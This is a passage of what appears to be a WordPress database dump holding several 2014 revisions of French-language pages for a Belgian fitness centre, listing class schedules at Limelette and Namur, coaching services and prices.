title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:31:03', '2014-02-09 20:31:03', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(428, 1, '2014-02-09 20:33:04', '2014-02-09 20:33:04', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation de séances :&lt;/h2&gt;\r\n&lt;strong&gt;Réserver vos séances de Team Training en ligne :&lt;/strong&gt; &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:33:04', '2014-02-09 20:33:04', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(429, 1, '2014-02-09 20:36:26', '2014-02-09 20:36:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:36:26', '2014-02-09 20:36:26', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(430, 1, '2014-02-09 20:37:08', '2014-02-09 20:37:08', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-02-09 20:37:08', '2014-02-09 20:37:08', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
